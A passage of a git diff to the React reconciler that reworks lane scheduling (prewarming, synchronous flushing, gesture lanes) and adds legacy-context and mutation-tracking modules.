       nextLanes = getHighestPriorityLanes(unblockedLanes);
     } else {
+      // No fresh updates. Check if suspended work has been pinged.
       if (pingedLanes !== NoLanes) {
         nextLanes = getHighestPriorityLanes(pingedLanes);
+      } else {
+        // Nothing has been pinged. Check for lanes that need to be prewarmed.
+        if (!rootHasPendingCommit) {
+          const lanesToPrewarm = pendingLanes & ~warmLanes;
+          if (lanesToPrewarm !== NoLanes) {
+            nextLanes = getHighestPriorityLanes(lanesToPrewarm);
+          }
+        }
       }
     }
   }
@@ -288,15 +360,74 @@ export function getNextLanes(root: FiberRoot, wipLanes: Lanes): Lanes {
   return nextLanes;
 }
 
+export function getNextLanesToFlushSync(
+  root: FiberRoot,
+  extraLanesToForceSync: Lane | Lanes,
+): Lanes {
+  // Similar to getNextLanes, except instead of choosing the next lanes to work
+  // on based on their priority, it selects all the lanes that have equal or
+  // higher priority than those are given. That way they can be synchronously
+  // rendered in a single batch.
+  //
+  // The main use case is updates scheduled by popstate events, which are
+  // flushed synchronously even though they are transitions.
+  // Note that we intentionally treat this as a sync flush to include any
+  // sync updates in a single pass but also intentionally disables View Transitions
+  // inside popstate. Because they can start synchronously before scroll restoration
+  // happens.
+  const lanesToFlush = SyncUpdateLanes | extraLanesToForceSync;
+
+  // Early bailout if there's no pending work left.
+  const pendingLanes = root.pendingLanes;
+  if (pendingLanes === NoLanes) {
+    return NoLanes;
+  }
+
+  const suspendedLanes = root.suspendedLanes;
+  const pingedLanes = root.pingedLanes;
+
+  // Remove lanes that are suspended (but not pinged)
+  const unblockedLanes = pendingLanes & ~(suspendedLanes & ~pingedLanes);
+  const unblockedLanesWithMatchingPriority =
+    unblockedLanes & getLanesOfEqualOrHigherPriority(lanesToFlush);
+
+  // If there are matching hydration lanes, we should do those by themselves.
+  // Hydration lanes must never include updates.
+  if (unblockedLanesWithMatchingPriority & HydrationLanes) {
+    return (
+      (unblockedLanesWithMatchingPriority & HydrationLanes) | SyncHydrationLane
+    );
+  }
+
+  if (unblockedLanesWithMatchingPriority) {
+    // Always include the SyncLane as part of the result, even if there's no
+    // pending sync work, to indicate the priority of the entire batch of work
+    // is considered Sync.
+    return unblockedLanesWithMatchingPriority | SyncLane;
+  }
+
+  return NoLanes;
+}
+
+export function checkIfRootIsPrerendering(
+  root: FiberRoot,
+  renderLanes: Lanes,
+): boolean {
+  const pendingLanes = root.pendingLanes;
+  const suspendedLanes = root.suspendedLanes;
+  const pingedLanes = root.pingedLanes;
+  // Remove lanes that are suspended (but not pinged)
+  const unblockedLanes = pendingLanes & ~(suspendedLanes & ~pingedLanes);
+
+  // If there are no unsuspended or pinged lanes, that implies that we're
+  // performing a prerender.
+  return (unblockedLanes & renderLanes) === 0;
+}
+
 export function getEntangledLanes(root: FiberRoot, renderLanes: Lanes): Lanes {
   let entangledLanes = renderLanes;
 
-  if (
-    allowConcurrentByDefault &&
-    (root.current.mode & ConcurrentUpdatesByDefaultMode) !== NoMode
-  ) {
-    // Do nothing, use the lanes as they were assigned.
-  } else if ((entangledLanes & InputContinuousLane) !== NoLanes) {
+  if ((entangledLanes & InputContinuousLane) !== NoLanes) {
     // When updates are sync by default, we entangle continuous priority updates
     // and default updates, so they render in the same batch. The only reason
     // they use separate lanes is because continuous updates should interrupt
@@ -349,6 +480,7 @@ function computeExpirationTime(lane: Lane, currentTime: number) {
     case SyncLane:
     case InputContinuousHydrationLane:
     case InputContinuousLane:
+    case GestureLane:
       // User interactions should expire slightly more quickly.
       //
       // NOTE: This is set to the corresponding constant as in Scheduler.js.
@@ -376,7 +508,6 @@ function computeExpirationTime(lane: Lane, currentTime: number) {
     case TransitionLane12:
     case TransitionLane13:
     case TransitionLane14:
-    case TransitionLane15:
       return currentTime + transitionLaneExpirationMs;
     case RetryLane1:
     case RetryLane2:
@@ -494,26 +625,71 @@ export function includesOnlyRetries(lanes: Lanes): boolean {
 export function includesOnlyNonUrgentLanes(lanes: Lanes): boolean {
   // TODO: Should hydration lanes be included here? This function is only
   // used in `updateDeferredValueImpl`.
-  const UrgentLanes = SyncLane | InputContinuousLane | DefaultLane;
+  const UrgentLanes =
+    SyncLane | InputContinuousLane | DefaultLane | GestureLane;
   return (lanes & UrgentLanes) === NoLanes;
 }
 export function includesOnlyTransitions(lanes: Lanes): boolean {
   return (lanes & TransitionLanes) === lanes;
 }
 
-export function includesBlockingLane(root: FiberRoot, lanes: Lanes): boolean {
-  if (
-    allowConcurrentByDefault &&
-    (root.current.mode & ConcurrentUpdatesByDefaultMode) !== NoMode
-  ) {
-    // Concurrent updates by default always use time slicing.
-    return false;
-  }
+export function includesTransitionLane(lanes: Lanes): boolean {
+  return (lanes & TransitionLanes) !== NoLanes;
+}
+
+export function includesRetryLane(lanes: Lanes): boolean {
+  return (lanes & RetryLanes) !== NoLanes;
+}
+
+export function includesIdleGroupLanes(lanes: Lanes): boolean {
+  return (
+    (lanes &
+      (SelectiveHydrationLane |
+        IdleHydrationLane |
+        IdleLane |
+        OffscreenLane |
+        DeferredLane)) !==
+    NoLanes
+  );
+}
+
+export function includesOnlyHydrationLanes(lanes: Lanes): boolean {
+  return (lanes & HydrationLanes) === lanes;
+}
+
+export function includesOnlyOffscreenLanes(lanes: Lanes): boolean {
+  return (lanes & OffscreenLane) === lanes;
+}
+
+export function includesOnlyHydrationOrOffscreenLanes(lanes: Lanes): boolean {
+  return (lanes & (HydrationLanes | OffscreenLane)) === lanes;
+}
+
+export function includesOnlyViewTransitionEligibleLanes(lanes: Lanes): boolean {
+  return (lanes & (TransitionLanes | RetryLanes | IdleLane)) === lanes;
+}
+
+export function includesOnlySuspenseyCommitEligibleLanes(
+  lanes: Lanes,
+): boolean {
+  return (
+    (lanes & (TransitionLanes | RetryLanes | IdleLane | GestureLane)) === lanes
+  );
+}
+
+export function includesLoadingIndicatorLanes(lanes: Lanes): boolean {
+  return (lanes & (SyncLane | DefaultLane)) !== NoLanes;
+}
+
+export function includesBlockingLane(lanes: Lanes): boolean {
   const SyncDefaultLanes =
+    SyncHydrationLane |
+    SyncLane |
     InputContinuousHydrationLane |
     InputContinuousLane |
     DefaultHydrationLane |
-    DefaultLane;
+    DefaultLane |
+    GestureLane;
   return (lanes & SyncDefaultLanes) !== NoLanes;
 }
 
@@ -523,18 +699,47 @@ export function includesExpiredLane(root: FiberRoot, lanes: Lanes): boolean {
   return (lanes & root.expiredLanes) !== NoLanes;
 }
 
+export function isBlockingLane(lane: Lane): boolean {
+  const SyncDefaultLanes =
+    SyncHydrationLane |
+    SyncLane |
+    InputContinuousHydrationLane |
+    InputContinuousLane |
+    DefaultHydrationLane |
+    DefaultLane |
+    GestureLane;
+  return (lane & SyncDefaultLanes) !== NoLanes;
+}
+
 export function isTransitionLane(lane: Lane): boolean {
   return (lane & TransitionLanes) !== NoLanes;
 }
 
-export function claimNextTransitionLane(): Lane {
+export function isGestureRender(lanes: Lanes): boolean {
+  if (!enableGestureTransition) {
+    return false;
+  }
+  // This should render only the one lane.
+  return lanes === GestureLane;
+}
+
+export function claimNextTransitionUpdateLane(): Lane {
   // Cycle through the lanes, assigning each new transition to the next lane.
   // In most cases, this means every transition gets its own lane, until we
   // run out of lanes and cycle back to the beginning.
-  const lane = nextTransitionLane;
-  nextTransitionLane <<= 1;
-  if ((nextTransitionLane & TransitionLanes) === NoLanes) {
-    nextTransitionLane = TransitionLane1;
+  const lane = nextTransitionUpdateLane;
+  nextTransitionUpdateLane <<= 1;
+  if ((nextTransitionUpdateLane & TransitionUpdateLanes) === NoLanes) {
+    nextTransitionUpdateLane = TransitionLane1;
+  }
+  return lane;
+}
+
+export function claimNextTransitionDeferredLane(): Lane {
+  const lane = nextTransitionDeferredLane;
+  nextTransitionDeferredLane <<= 1;
+  if ((nextTransitionDeferredLane & TransitionDeferredLanes) === NoLanes) {
+    nextTransitionDeferredLane = TransitionLane11;
   }
   return lane;
 }
@@ -552,6 +757,14 @@ export function getHighestPriorityLane(lanes: Lanes): Lane {
   return lanes & -lanes;
 }
 
+function getLanesOfEqualOrHigherPriority(lanes: Lane | Lanes): Lanes {
+  // Create a mask with all bits to the right or same as the highest bit.
+  // So if lanes is 0b100, the result would be 0b111.
+  // If lanes is 0b101, the result would be 0b111.
+  const lowestPriorityLaneIndex = 31 - clz32(lanes);
+  return (1 << (lowestPriorityLaneIndex + 1)) - 1;
+}
+
 export function pickArbitraryLane(lanes: Lanes): Lane {
   // This wrapper function gets inlined. Only exists so to communicate that it
   // doesn't matter which bit is selected; you can pick any bit without
@@ -611,6 +824,10 @@ export function createLaneMap<T>(initial: T): LaneMap<T> {
 
 export function markRootUpdated(root: FiberRoot, updateLane: Lane) {
   root.pendingLanes |= updateLane;
+  if (enableDefaultTransitionIndicator) {
+    // Mark that this lane might need a loading indicator to be shown.
+    root.indicatorLanes |= updateLane & TransitionLanes;
+  }
 
   // If there are any suspended transitions, it's possible this new update
   // could unblock them. Clear the suspended lanes so that we can try rendering
@@ -627,6 +844,7 @@ export function markRootUpdated(root: FiberRoot, updateLane: Lane) {
   if (updateLane !== IdleLane) {
     root.suspendedLanes = NoLanes;
     root.pingedLanes = NoLanes;
+    root.warmLanes = NoLanes;
   }
 }
 
@@ -634,10 +852,21 @@ export function markRootSuspended(
   root: FiberRoot,
   suspendedLanes: Lanes,
   spawnedLane: Lane,
+  didAttemptEntireTree: boolean,
 ) {
+  // TODO: Split this into separate functions for marking the root at the end of
+  // a render attempt versus suspending while the root is still in progress.
   root.suspendedLanes |= suspendedLanes;
   root.pingedLanes &= ~suspendedLanes;
 
+  if (didAttemptEntireTree) {
+    // Mark these lanes as warm so we know there's nothing else to work on.
+    root.warmLanes |= suspendedLanes;
+  } else {
+    // Render unwound without attempting all the siblings. Do no mark the lanes
+    // as warm. This will cause a prewarm render to be scheduled.
+  }
+
   // The suspended lanes are no longer CPU-bound. Clear their expiration times.
   const expirationTimes = root.expirationTimes;
   let lanes = suspendedLanes;
@@ -657,20 +886,32 @@ export function markRootSuspended(
 
 export function markRootPinged(root: FiberRoot, pingedLanes: Lanes) {
   root.pingedLanes |= root.suspendedLanes & pingedLanes;
+  // The data that just resolved could have unblocked additional children, which
+  // will also need to be prewarmed if something suspends again.
+  root.warmLanes &= ~pingedLanes;
 }
 
 export function markRootFinished(
   root: FiberRoot,
+  finishedLanes: Lanes,
   remainingLanes: Lanes,
   spawnedLane: Lane,
+  updatedLanes: Lanes,
+  suspendedRetryLanes: Lanes,
 ) {
-  const noLongerPendingLanes = root.pendingLanes & ~remainingLanes;
+  const previouslyPendingLanes = root.pendingLanes;
+  const noLongerPendingLanes = previouslyPendingLanes & ~remainingLanes;
 
   root.pendingLanes = remainingLanes;
 
   // Let's try everything again
   root.suspendedLanes = NoLanes;
   root.pingedLanes = NoLanes;
+  root.warmLanes = NoLanes;
+
+  if (enableDefaultTransitionIndicator) {
+    root.indicatorLanes &= remainingLanes;
+  }
 
   root.expiredLanes &= remainingLanes;
 
@@ -719,6 +960,37 @@ export function markRootFinished(
       NoLanes,
     );
   }
+
+  // suspendedRetryLanes represents the retry lanes spawned by new Suspense
+  // boundaries during this render that were not later pinged.
+  //
+  // These lanes were marked as pending on their associated Suspense boundary
+  // fiber during the render phase so that we could start rendering them
+  // before new data streams in. As soon as the fallback commits, we can try
+  // to render them again.
+  //
+  // But since we know they're still suspended, we can skip straight to the
+  // "prerender" mode (i.e. don't skip over siblings after something
+  // suspended) instead of the regular mode (i.e. unwind and skip the siblings
+  // as soon as something suspends to unblock the rest of the update).
+  if (
+    suspendedRetryLanes !== NoLanes &&
+    // Note that we only do this if there were no updates since we started
+    // rendering. This mirrors the logic in markRootUpdated — whenever we
+    // receive an update, we reset all the suspended and pinged lanes.
+    updatedLanes === NoLanes &&
+    !(disableLegacyMode && root.tag === LegacyRoot)
+  ) {
+    // We also need to avoid marking a retry lane as suspended if it was already
+    // pending before this render. We can't say these are now suspended if they
+    // weren't included in our attempt.
+    const freshlySpawnedRetryLanes =
+      suspendedRetryLanes &
+      // Remove any retry lane that was already pending before our just-finished
+      // attempt, and also wasn't included in that attempt.
+      ~(previouslyPendingLanes & ~finishedLanes);
+    root.suspendedLanes |= freshlySpawnedRetryLanes;
+  }
 }
 
 function markSpawnedDeferredLane(
@@ -733,6 +1005,14 @@ function markSpawnedDeferredLane(
   // Entangle the spawned lane with the DeferredLane bit so that we know it
   // was the result of another render. This lets us avoid a useDeferredValue
   // waterfall — only the first level will defer.
+  // TODO: Now that there is a reserved set of transition lanes that are used
+  // exclusively for deferred work, we should get rid of this special
+  // DeferredLane bit; the same information can be inferred by checking whether
+  // the lane is one of the TransitionDeferredLanes. The only reason this still
+  // exists is because we need to also do the same for OffscreenLane. That
+  // requires additional changes because there are more places around the
+  // codebase that treat OffscreenLane as a magic value; would need to check
+  // for a new OffscreenDeferredLane, too. Will leave this for a follow-up.
   const spawnedLaneIndex = laneToIndex(spawnedLane);
   root.entangledLanes |= spawnedLane;
   root.entanglements[spawnedLaneIndex] |=
@@ -775,17 +1055,6 @@ export function markRootEntangled(root: FiberRoot, entangledLanes: Lanes) {
   }
 }
 
-export function upgradePendingLaneToSync(root: FiberRoot, lane: Lane) {
-  // Since we're upgrading the priority of the given lane, there is now pending
-  // sync work.
-  root.pendingLanes |= SyncLane;
-
-  // Entangle the sync lane with the lane we're upgrading. This means SyncLane
-  // will not be allowed to finish without also finishing the given lane.
-  root.entangledLanes |= SyncLane;
-  root.entanglements[SyncLaneIndex] |= lane;
-}
-
 export function upgradePendingLanesToSync(
   root: FiberRoot,
   lanesToUpgrade: Lanes,
@@ -824,61 +1093,65 @@ export function getBumpedLaneForHydration(
   renderLanes: Lanes,
 ): Lane {
   const renderLane = getHighestPriorityLane(renderLanes);
-
-  let lane;
-  if (enableUnifiedSyncLane && (renderLane & SyncUpdateLanes) !== NoLane) {
-    lane = SyncHydrationLane;
-  } else {
-    switch (renderLane) {
-      case SyncLane:
-        lane = SyncHydrationLane;
-        break;
-      case InputContinuousLane:
-        lane = InputContinuousHydrationLane;
-        break;
-      case DefaultLane:
-        lane = DefaultHydrationLane;
-        break;
-      case TransitionLane1:
-      case TransitionLane2:
-      case TransitionLane3:
-      case TransitionLane4:
-      case TransitionLane5:
-      case TransitionLane6:
-      case TransitionLane7:
-      case TransitionLane8:
-      case TransitionLane9:
-      case TransitionLane10:
-      case TransitionLane11:
-      case TransitionLane12:
-      case TransitionLane13:
-      case TransitionLane14:
-      case TransitionLane15:
-      case RetryLane1:
-      case RetryLane2:
-      case RetryLane3:
-      case RetryLane4:
-        lane = TransitionHydrationLane;
-        break;
-      case IdleLane:
-        lane = IdleHydrationLane;
-        break;
-      default:
-        // Everything else is already either a hydration lane, or shouldn't
-        // be retried at a hydration lane.
-        lane = NoLane;
-        break;
-    }
-  }
-
+  const bumpedLane =
+    (renderLane & SyncUpdateLanes) !== NoLane
+      ? // Unify sync lanes. We don't do this inside getBumpedLaneForHydrationByLane
+        // because that causes things to flush synchronously when they shouldn't.
+        // TODO: This is not coherent but that's beacuse the unification is not coherent.
+        // We need to get merge these into an actual single lane.
+        SyncHydrationLane
+      : getBumpedLaneForHydrationByLane(renderLane);
   // Check if the lane we chose is suspended. If so, that indicates that we
   // already attempted and failed to hydrate at that level. Also check if we're
   // already rendering that lane, which is rare but could happen.
-  if ((lane & (root.suspendedLanes | renderLanes)) !== NoLane) {
+  // TODO: This should move into the caller to decide whether giving up is valid.
+  if ((bumpedLane & (root.suspendedLanes | renderLanes)) !== NoLane) {
     // Give up trying to hydrate and fall back to client render.
     return NoLane;
   }
+  return bumpedLane;
+}
 
+export function getBumpedLaneForHydrationByLane(lane: Lane): Lane {
+  switch (lane) {
+    case SyncLane:
+      lane = SyncHydrationLane;
+      break;
+    case InputContinuousLane:
+      lane = InputContinuousHydrationLane;
+      break;
+    case DefaultLane:
+      lane = DefaultHydrationLane;
+      break;
+    case TransitionLane1:
+    case TransitionLane2:
+    case TransitionLane3:
+    case TransitionLane4:
+    case TransitionLane5:
+    case TransitionLane6:
+    case TransitionLane7:
+    case TransitionLane8:
+    case TransitionLane9:
+    case TransitionLane10:
+    case TransitionLane11:
+    case TransitionLane12:
+    case TransitionLane13:
+    case TransitionLane14:
+    case RetryLane1:
+    case RetryLane2:
+    case RetryLane3:
+    case RetryLane4:
+      lane = TransitionHydrationLane;
+      break;
+    case IdleLane:
+      lane = IdleHydrationLane;
+      break;
+    default:
+      // Everything else is already either a hydration lane, or shouldn't
+      // be retried at a hydration lane.
+      lane = NoLane;
+      break;
+  }
   return lane;
 }
 
@@ -997,3 +1270,38 @@ export function clearTransitionsForLanes(root: FiberRoot, lanes: Lane | Lanes) {
     lanes &= ~lane;
   }
 }
+
+// Used to name the Performance Track
+export function getGroupNameOfHighestPriorityLane(lanes: Lanes): string {
+  if (
+    lanes &
+    (SyncHydrationLane |
+      SyncLane |
+      InputContinuousHydrationLane |
+      InputContinuousLane |
+      DefaultHydrationLane |
+      DefaultLane)
+  ) {
+    return 'Blocking';
+  }
+  if (lanes & GestureLane) {
+    return 'Gesture';
+  }
+  if (lanes & (TransitionHydrationLane | TransitionLanes)) {
+    return 'Transition';
+  }
+  if (lanes & RetryLanes) {
+    return 'Suspense';
+  }
+  if (
+    lanes &
+    (SelectiveHydrationLane |
+      IdleHydrationLane |
+      IdleLane |
+      OffscreenLane |
+      DeferredLane)
+  ) {
+    return 'Idle';
+  }
+  return 'Other';
+}
diff --git a/packages/react-reconciler/src/ReactFiberLazyComponent.js b/packages/react-reconciler/src/ReactFiberLazyComponent.js
deleted file mode 100644
index 36e16c2b4080..000000000000
--- a/packages/react-reconciler/src/ReactFiberLazyComponent.js
+++ /dev/null
@@ -1,34 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import assign from 'shared/assign';
-import {disableDefaultPropsExceptForClasses} from 'shared/ReactFeatureFlags';
-
-export function resolveDefaultPropsOnNonClassComponent(
-  Component: any,
-  baseProps: Object,
-): Object {
-  if (disableDefaultPropsExceptForClasses) {
-    // Support for defaultProps is removed in React 19 for all types
-    // except classes.
-    return baseProps;
-  }
-  if (Component && Component.defaultProps) {
-    // Resolve default props. Taken from ReactElement
-    const props = assign({}, baseProps);
-    const defaultProps = Component.defaultProps;
-    for (const propName in defaultProps) {
-      if (props[propName] === undefined) {
-        props[propName] = defaultProps[propName];
-      }
-    }
-    return props;
-  }
-  return baseProps;
-}
diff --git a/packages/react-reconciler/src/ReactFiberLegacyContext.js b/packages/react-reconciler/src/ReactFiberLegacyContext.js
new file mode 100644
index 000000000000..e8a586e856e1
--- /dev/null
+++ b/packages/react-reconciler/src/ReactFiberLegacyContext.js
@@ -0,0 +1,324 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {Fiber} from './ReactInternalTypes';
+import type {StackCursor} from './ReactFiberStack';
+
+import {disableLegacyContext} from 'shared/ReactFeatureFlags';
+import {ClassComponent, HostRoot} from './ReactWorkTags';
+import getComponentNameFromFiber from 'react-reconciler/src/getComponentNameFromFiber';
+
+import {createCursor, push, pop} from './ReactFiberStack';
+
+let warnedAboutMissingGetChildContext;
+
+if (__DEV__) {
+  warnedAboutMissingGetChildContext = ({}: {[string]: boolean});
+}
+
+export const emptyContextObject: {} = {};
+if (__DEV__) {
+  Object.freeze(emptyContextObject);
+}
+
+// A cursor to the current merged context object on the stack.
+const contextStackCursor: StackCursor<Object> =
+  createCursor(emptyContextObject);
+// A cursor to a boolean indicating whether the context has changed.
+const didPerformWorkStackCursor: StackCursor<boolean> = createCursor(false);
+// Keep track of the previous context object that was on the stack.
+// We use this to get access to the parent context after we have already
+// pushed the next context provider, and now need to merge their contexts.
+let previousContext: Object = emptyContextObject;
+
+function getUnmaskedContext(
+  workInProgress: Fiber,
+  Component: Function,
+  didPushOwnContextIfProvider: boolean,
+): Object {
+  if (disableLegacyContext) {
+    return emptyContextObject;
+  } else {
+    if (didPushOwnContextIfProvider && isContextProvider(Component)) {
+      // If the fiber is a context provider itself, when we read its context
+      // we may have already pushed its own child context on the stack. A context
+      // provider should not "see" its own child context. Therefore we read the
+      // previous (parent) context instead for a context provider.
+      return previousContext;
+    }
+    return contextStackCursor.current;
+  }
+}
+
+function cacheContext(
+  workInProgress: Fiber,
+  unmaskedContext: Object,
+  maskedContext: Object,
+): void {
+  if (disableLegacyContext) {
+    return;
+  } else {
+    const instance = workInProgress.stateNode;
+    instance.__reactInternalMemoizedUnmaskedChildContext = unmaskedContext;
+    instance.__reactInternalMemoizedMaskedChildContext = maskedContext;
+  }
+}
+
+function getMaskedContext(
+  workInProgress: Fiber,
+  unmaskedContext: Object,
+): Object {
+  if (disableLegacyContext) {
+    return emptyContextObject;
+  } else {
+    const type = workInProgress.type;
+    const contextTypes = type.contextTypes;
+    if (!contextTypes) {
+      return emptyContextObject;
+    }
+
+    // Avoid recreating masked context unless unmasked context has changed.
+    // Failing to do this will result in unnecessary calls to componentWillReceiveProps.
+    // This may trigger infinite loops if componentWillReceiveProps calls setState.
+    const instance = workInProgress.stateNode;
+    if (
+      instance &&
+      instance.__reactInternalMemoizedUnmaskedChildContext === unmaskedContext
+    ) {
+      return instance.__reactInternalMemoizedMaskedChildContext;
+    }
+
+    const context: {[string]: $FlowFixMe} = {};
+    for (const key in contextTypes) {
+      context[key] = unmaskedContext[key];
+    }
+
+    // Cache unmasked context so we can avoid recreating masked context unless necessary.
+    // Context is created before the class component is instantiated so check for instance.
+    if (instance) {
+      cacheContext(workInProgress, unmaskedContext, context);
+    }
+
+    return context;
+  }
+}
+
+function hasContextChanged(): boolean {
+  if (disableLegacyContext) {
+    return false;
+  } else {
+    return didPerformWorkStackCursor.current;
+  }
+}
+
+function isContextProvider(type: Function): boolean {
+  if (disableLegacyContext) {
+    return false;
+  } else {
+    const childContextTypes = type.childContextTypes;
+    return childContextTypes !== null && childContextTypes !== undefined;
+  }
+}
+
+function popContext(fiber: Fiber): void {
+  if (disableLegacyContext) {
+    return;
+  } else {
+    pop(didPerformWorkStackCursor, fiber);
+    pop(contextStackCursor, fiber);
+  }
+}
+
+function popTopLevelContextObject(fiber: Fiber): void {
+  if (disableLegacyContext) {
+    return;
+  } else {
+    pop(didPerformWorkStackCursor, fiber);
+    pop(contextStackCursor, fiber);
+  }
+}
+
+function pushTopLevelContextObject(
+  fiber: Fiber,
+  context: Object,
+  didChange: boolean,
+): void {
+  if (disableLegacyContext) {
+    return;
+  } else {
+    if (contextStackCursor.current !== emptyContextObject) {
+      throw new Error(
+        'Unexpected context found on stack. ' +
+          'This error is likely caused by a bug in React. Please file an issue.',
+      );
+    }
+
+    push(contextStackCursor, context, fiber);
+    push(didPerformWorkStackCursor, didChange, fiber);
+  }
+}
+
+function processChildContext(
+  fiber: Fiber,
+  type: any,
+  parentContext: Object,
+): Object {
+  if (disableLegacyContext) {
+    return parentContext;
+  } else {
+    const instance = fiber.stateNode;
+    const childContextTypes = type.childContextTypes;
+
+    // TODO (bvaughn) Replace this behavior with an invariant() in the future.
+    // It has only been added in Fiber to match the (unintentional) behavior in Stack.
+    if (typeof instance.getChildContext !== 'function') {
+      if (__DEV__) {
+        const componentName = getComponentNameFromFiber(fiber) || 'Unknown';
+
+        if (!warnedAboutMissingGetChildContext[componentName]) {
+          warnedAboutMissingGetChildContext[componentName] = true;
+          console.error(
+            '%s.childContextTypes is specified but there is no getChildContext() method ' +
+              'on the instance. You can either define getChildContext() on %s or remove ' +
+              'childContextTypes from it.',
+            componentName,
+            componentName,
+          );
+        }
+      }
+      return parentContext;
+    }
+
+    const childContext = instance.getChildContext();
+    for (const contextKey in childContext) {
+      if (!(contextKey in childContextTypes)) {
+        throw new Error(
+          `${
+            getComponentNameFromFiber(fiber) || 'Unknown'
+          }.getChildContext(): key "${contextKey}" is not defined in childContextTypes.`,
+        );
+      }
+    }
+
+    return {...parentContext, ...childContext};
+  }
+}
+
+function pushContextProvider(workInProgress: Fiber): boolean {
+  if (disableLegacyContext) {
+    return false;
+  } else {
+    const instance = workInProgress.stateNode;
+    // We push the context as early as possible to ensure stack integrity.
+    // If the instance does not exist yet, we will push null at first,
+    // and replace it on the stack later when invalidating the context.
+    const memoizedMergedChildContext =
+      (instance && instance.__reactInternalMemoizedMergedChildContext) ||
+      emptyContextObject;
+
+    // Remember the parent context so we can merge with it later.
+    // Inherit the parent's did-perform-work value to avoid inadvertently blocking updates.
+    previousContext = contextStackCursor.current;
+    push(contextStackCursor, memoizedMergedChildContext, workInProgress);
+    push(
+      didPerformWorkStackCursor,
+      didPerformWorkStackCursor.current,
+      workInProgress,
+    );
+
+    return true;
+  }
+}
+
+function invalidateContextProvider(
+  workInProgress: Fiber,
+  type: any,
+  didChange: boolean,
+): void {
+  if (disableLegacyContext) {
+    return;
+  } else {
+    const instance = workInProgress.stateNode;
+
+    if (!instance) {
+      throw new Error(
+        'Expected to have an instance by this point. ' +
+          'This error is likely caused by a bug in React. Please file an issue.',
+      );
+    }
+
+    if (didChange) {
+      // Merge parent and own context.
+      // Skip this if we're not updating due to sCU.
+      // This avoids unnecessarily recomputing memoized values.
+      const mergedContext = processChildContext(
+        workInProgress,
+        type,
+        previousContext,
+      );
+      instance.__reactInternalMemoizedMergedChildContext = mergedContext;
+
+      // Replace the old (or empty) context with the new one.
+      // It is important to unwind the context in the reverse order.
+      pop(didPerformWorkStackCursor, workInProgress);
+      pop(contextStackCursor, workInProgress);
+      // Now push the new context and mark that it has changed.
+      push(contextStackCursor, mergedContext, workInProgress);
+      push(didPerformWorkStackCursor, didChange, workInProgress);
+    } else {
+      pop(didPerformWorkStackCursor, workInProgress);
+      push(didPerformWorkStackCursor, didChange, workInProgress);
+    }
+  }
+}
+
+function findCurrentUnmaskedContext(fiber: Fiber): Object {
+  if (disableLegacyContext) {
+    return emptyContextObject;
+  } else {
+    // Currently this is only used with renderSubtreeIntoContainer; not sure if it
+    // makes sense elsewhere
+    let node: Fiber = fiber;
+    do {
+      switch (node.tag) {
+        case HostRoot:
+          return node.stateNode.context;
+        case ClassComponent: {
+          const Component = node.type;
+          if (isContextProvider(Component)) {
+            return node.stateNode.__reactInternalMemoizedMergedChildContext;
+          }
+          break;
+        }
+      }
+      // $FlowFixMe[incompatible-type] we bail out when we get a null
+      node = node.return;
+    } while (node !== null);
+
+    throw new Error(
+      'Found unexpected detached subtree parent. ' +
+        'This error is likely caused by a bug in React. Please file an issue.',
+    );
+  }
+}
+
+export {
+  getUnmaskedContext,
+  cacheContext,
+  getMaskedContext,
+  hasContextChanged,
+  popContext,
+  popTopLevelContextObject,
+  pushTopLevelContextObject,
+  processChildContext,
+  isContextProvider,
+  pushContextProvider,
+  invalidateContextProvider,
+  findCurrentUnmaskedContext,
+};
diff --git a/packages/react-reconciler/src/ReactFiberMutationTracking.js b/packages/react-reconciler/src/ReactFiberMutationTracking.js
new file mode 100644
index 000000000000..cb439bd68fb3
--- /dev/null
+++ b/packages/react-reconciler/src/ReactFiberMutationTracking.js
@@ -0,0 +1,55 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import {
+  enableDefaultTransitionIndicator,
+  enableViewTransition,
+} from 'shared/ReactFeatureFlags';
+
+export let rootMutationContext: boolean = false;
+export let viewTransitionMutationContext: boolean = false;
+
+export function pushRootMutationContext(): void {
+  if (enableDefaultTransitionIndicator) {
+    rootMutationContext = false;
+  }
+  if (enableViewTransition) {
+    viewTransitionMutationContext = false;
+  }
+}
+
+export function pushMutationContext(): boolean {
+  if (!enableViewTransition) {
+    return false;
+  }
+  const prev = viewTransitionMutationContext;
+  viewTransitionMutationContext = false;
+  return prev;
+}
+
+export function popMutationContext(prev: boolean): void {
+  if (enableViewTransition) {
+    if (viewTransitionMutationContext) {
+      rootMutationContext = true;
+    }
+    viewTransitionMutationContext = prev;
+  }
+}
+
+export function trackHostMutation(): void {
+  // This is extremely hot function that must be inlined. Don't add more stuff.
+  if (enableViewTransition) {
+    viewTransitionMutationContext = true;
+  } else if (enableDefaultTransitionIndicator) {
+    // We only set this if enableViewTransition is not on. Otherwise we track
+    // it on the viewTransitionMutationContext and collect it when we pop
+    // to avoid more than a single operation in this hot path.
+    rootMutationContext = true;
+  }
+}
diff --git a/packages/react-reconciler/src/ReactFiberNewContext.js b/packages/react-reconciler/src/ReactFiberNewContext.js
index c19e056b0a3c..ac9d766d6ae3 100644
--- a/packages/react-reconciler/src/ReactFiberNewContext.js
+++ b/packages/react-reconciler/src/ReactFiberNewContext.js
@@ -15,24 +15,17 @@ import type {
 } from './ReactInternalTypes';
 import type {StackCursor} from './ReactFiberStack';
 import type {Lanes} from './ReactFiberLane';
-import type {SharedQueue} from './ReactFiberClassUpdateQueue';
 import type {TransitionStatus} from './ReactFiberConfig';
 import type {Hook} from './ReactFiberHooks';
 
-import {isPrimaryRenderer} from './ReactFiberConfig';
+import {isPrimaryRenderer, HostTransitionContext} from './ReactFiberConfig';
 import {createCursor, push, pop} from './ReactFiberStack';
 import {
   ContextProvider,
-  ClassComponent,
   DehydratedFragment,
+  SuspenseComponent,
 } from './ReactWorkTags';
-import {
-  NoLanes,
-  isSubsetOfLanes,
-  includesSomeLane,
-  mergeLanes,
-  pickArbitraryLane,
-} from './ReactFiberLane';
+import {NoLanes, isSubsetOfLanes, mergeLanes} from './ReactFiberLane';
 import {
   NoFlags,
   DidPropagateContext,
@@ -40,17 +33,7 @@ import {
 } from './ReactFiberFlags';
 
